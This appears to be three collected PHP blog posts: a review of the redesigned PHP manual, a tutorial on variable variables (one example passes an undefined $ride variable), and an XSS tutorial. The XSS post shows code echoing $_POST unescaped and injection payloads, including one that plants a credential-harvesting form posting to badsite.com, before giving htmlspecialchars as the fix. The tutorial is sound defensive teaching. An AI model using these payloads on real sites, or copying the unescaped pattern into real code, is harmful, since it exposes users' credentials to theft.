First I would like to say that I like the look of the new manual; it seems cleaner with well defined areas. For example on a function description page the description, parameters, return values, errors/exceptions, and examples all appear in their own ‘box’ (div tag) with a light blue background. This definitely makes it easier to locate what your look for and generally gives a nice presentation of the information.

My two gripes about the new manual are fairly petty. I think it is a case of ‘Who moved my cheese‘, instead of actual issues with the manual.

Gripe 1: There is too much spacing between items in the unordered lists.

Looking at what I believe to be the CSS styling for the ‘li’ tags, they have added a top and bottom padding of 3 pixels (6 pixels between each line). Although this makes for good separation between each item it also makes the pages longer and consequently more scrolling.

Gripe 2: The new navigation system, specifically in two areas:

• The index page of the manual. The old index page, was basically like an extended table of contents. It listed the sections of the manual along with the major subsections. This was always my starting point. You may not find exactly what your looking for in the first click but you knew where you wanted to go. The new index page, contains the list of sections in the left-hand navigation bar, but the page does not list any subsections. New users of the language I believe will find it more difficult to locate the information they need simply because they may not know exactly what their looking for. Now, of course, users already familiar with the language will still be able to find what there looking for but it will take more clicks to get where your going, specifically for the function reference section…
• In the old manual when you viewed the function reference section you were presented with a long alphabetized list of groups of functions; Arrays, MySQL, Strings, etc. Now they have grouped the groups; array functions are listed below ‘Variable and Type Related Extensions’, string functions are listed below ‘Text Processing’ and MySQL functions aren’t actually listed on the page, they are under ‘Database Extensions->Vendor Specific Database Extensions->MySQL’. Now I am all for more organization, but by grouping the groups the function reference is no longer alphabetized and the added clicks needed to get to the section you want I feel is not a bonus.
• This also comes into play after you have chosen the section you want. For example, in the old manual you could be looking at the array functions, find what you need, and just leave the browser open to the array functions page while you went back to work. Then after a bit more work, if you needed to look at the string functions, you could simply click the ‘string’ functions link in navigation bar and be there in one click. This is not possible in the new manual…Given the same situation you always need to go back to the main function reference page and start drilling down from there.

I don’t want this to come off as a bashing of the new manual, these are minor issues and I probably just need to get used to the new setup. So now that you read my review, let us know what you think of the new manual.

One thing that should be mentioned before we begin, variable variables should be used sparingly. Their overuse can make scripts difficult to debug and confusing six months down the road when you decide to update or add functionality to your code. So before you use them make sure the problem your trying to solve warrants their use. (Hopefully the examples used in this article will give you the background to make that decision.)

We will begin by explaining what variable variables are. First let see what the PHP manual says a variable variable is:

PHP Manual:
A variable variable takes the value of a variable and treats that as the name of a variable.

Let’s see if we can add a little more to it… A variable variable, is created when two dollar signs ($$) are placed at the beginning of a variable name. The PHP engine interprets this to mean the value of the variable (which has two dollar signs in front of it) is the name of the variable which needs to be interpreted.

Not sure if that is any clearer, so lets go to some code so we can see it in action, then I’m sure everyone will understand.

<?php
$site = "NULL";
$ring = "NULL";
$plug = "NULL";
 
$entity_1 = "site";
$entity_2 = "plug";
$id_1     = 54;
$id_2     = 78;
 
$$entity_1 = $id_1;
$$entity_2 = $id_2;
 
echo "site: ".$site."<br />";
echo "ring: ".$ring."<br />";
echo "plug: ".$plug."<br />";
?>

When this code is run it will print:
site: 54
ring: NULL
plug: 78

Notice the two dollar signs ($$) in front of the second occurrence of the variables ‘entity_1′ and ‘entity_2′, these are the variable variables. Since the value of the variable $entity_1 is ‘site’ when PHP parses:

$$entity_1 = $id_1;

it reads:
$site = $id_1;
The same also happens for $$entity_2.

That’s it! That is what a variable variable is, nothing really ground breaking here. So the question is when should this feature of PHP be used?

First I have to admit that I have never run into a situation where variable variables are required to get the job done. I think it is very telling when the section on variable variables in the PHP Manual starts with the sentence:

Sometimes it is convenient to be able to have variable variable names.

The keyword here being: convenient (as in ‘not necessary’).

The most recent situation where I used variable variables was this:
I was writing a function which managed the data in a database correlation table. The table had three columns: ‘site_id’, ‘ring_id’, and ‘plug_id’.

The function I was working on accepted the entity types and ids for two entities. Hence, the function declaration looked like this:

function correlate($entity_1, $id_1, 
                   $entity_2, $id_2)

That function used another function which was responsible for actually inserting a record into the table and its declaration looked like this:

function create($site_id,
                $ring_id,
                $plug_id)

The purpose of the function I was writing was to determine if a record existed for either entity in the db table, if so update the correlation, if not insert a new record. Variable variables came into play if a record needed to be inserted into the correlation table.

Once it was determined that a new record need to be inserted, I created three variables set to the column defaults (NULL):

function correlate($entity_1, $id_1, 
                   $entity_2, $id_2)
{
    //check for record
    if ($record) {
      //update and return
    }
 
    $site = "NULL";
    $ring = "NULL";
    $plug = "NULL";
}

Without some checking the function did not ‘know’ which ids it had. So to make things easier I decided to use variable variables and write the rest of the function like this:

function correlate($entity_1, $id_1, 
                   $entity_2, $id_2)
{
    //check for record
    if ($record) {
      //update and return
    }
 
    $site = "NULL";
    $ring = "NULL";
    $plug = "NULL";
 
    $$entity_1 = $id_1;
    $$entity_2 = $id_2;
 
    return create($site, $ride, $plug);
}

Again variable variables were not needed in this situation I could have used ‘switch’ or ‘if’ statements to determine which entity types were sent, but I thought the use of variable variables was a cleaner option and quite frankly was faster to code.

BTW – If anyone has run into a situation where variable variables were required, please let me know I would love to hear about it.

<input type="text" name="order" value="<?php echo $_POST['order']; ?>" />

Basically the question was: What is wrong with this code? I didn’t really think much of it, because it is a classic example of an XSS vulnerability. After submitting the quiz, I was given a phone interview in which I learned that no one else was able to pick out the the XSS vulnerability. To be fair to the others interviewed I do not know what their qualifications were or how much experience they have had with PHP.

Anyway, if you want to write code for the internet you need to be able to pick out these simple vulnerabilities and understand how they are exploited. It does not matter if you are just coding for your own website or getting paid, security holes effect not only the website but more importantly your visitors.

OK, so how is this code exploited? I assume the coders who do not see the vulnerability assume that even if the value contains HTML, JavaScript, or whatever it will simply be printed into the text box. For example if the value provided is:

<em>hello</em>

When the form is submitted the code will simply print:

<em>hello</em>

in the text box.

This is true, but the problem is; what happens when someone enters:

watch it grow" size="100

When this value is printed in the text box, the browser ‘sees’ the quote following: watch it grow and ends the ‘value’ attribute. The browser then adds a ‘size’ attribute to the input tag, whose value is 100. Basically the code interpreted by the browser looks like this:

<input type="text" name="order" value="watch it grow" size="100" />

Now we know that simply adding a ” (quote) will end the value attribute and any number of additional attributes can be added by the user. So lets make a more interactive value and add some JavaScript. In the text box we can add:

click here” onclick=”alert(‘hello’);

Now the code interpreted by the browser looks like this:

<input type="text" name="order" value="click here" onclick="alert('hello');" />

After the form is submitted the value in the text box reads: click here. When the user then clicks the text box the JavaScript will fire and an alert will appear which reads: ‘hello’.

Taking this exploit one step further, with one final example. The hack is not limited to simply adding attributes to the input tag (although in most cases this is all someone needs to do to accomplish their task). If we wanted to also add extra HTML, or a full blown JavaScript, all that needs to be done is to end the ‘value’ attribute with the ” (quote) and then add the end of the input tag: /> and presto we are out of the input tag and free to add anything; such as a new form which POSTS to a different website. Let’s add:

Fill out form completely" disabled/></form><form method="POST" action="http://badsite.com">Username: <input type="text" name="username"><br/>Password:<input type="password" name="user_pass"><br/><input type="hidden" name="end_input" value="

With this code we start with: Fill out form completely”
The ” (quote) following the word ‘completely’ will end the ‘value’ attribute.

We then place: disabled/>
This will disable the “order” input and end the tag, now we are in the realm of adding HTML.

Next by adding: </form>
We have ended the form, and are able to create something new.

As you can see we have added our own form which submits the user’s values to a different website: badsite.com. This code in essence takes control of the original submit button, because by adding the new form the submit button submits all values wherever we like.

To get a clear picture, after the form is submitted this is the code which is rendered by the browser (formatted for ease of read):

  <input type="text" name="order" value="Fill out form completely" disabled/>
</form>
<form method="POST" action="http://badsite.com">
  Username:
  <input type="text" name="username"/>
  <br />
  Password:
  <input type="password" name="user_pass"/>
  <br />
  <input type="hidden" value=""/>

Hopefully you now see that this is an extremely powerful exploit which needs to be addressed. Wait, I know what your thinking; with this type of exploit the only user effected is the one submitting the form in the first place. This is simply NOT true, but you will have to do the research yourself if you still don’t believe that this is a security hole (or you have ideas of cracking a few sites. )

So how can we possibly stop this type of attack? Actually it is really simple, PHP provides a built-in function: htmlspecialchars().

htmlspecialchars() converts special characters to HTML entities, rendering all of our examples useless. So our original piece of code would look like this:

<input type="text" name="order" value=" <?php echo htmlspecialchars($_POST['order']); ?> " />

This is only one way to ‘fix’ the problem and may not work in all situations; some other methods of preventing an XSS attack are:

• Use an exclusion approach with strip_tags().
• Use regular expressions to filter any data which may not have been caught by the built-in functions.
• Use filtration methods on all external data including: database and $_SERVER data. Basically any data which does not originate from inside the script.

I believe the best defense is a combination of a few different strategies.

XSS is a huge topic and this only scratches the surface. If you want to find more information use your favorite search engine and search the phrase: “PHP XSS exploits tutorials”. Then read until your so paranoid that you want to take down your website immediately and fix all the holes.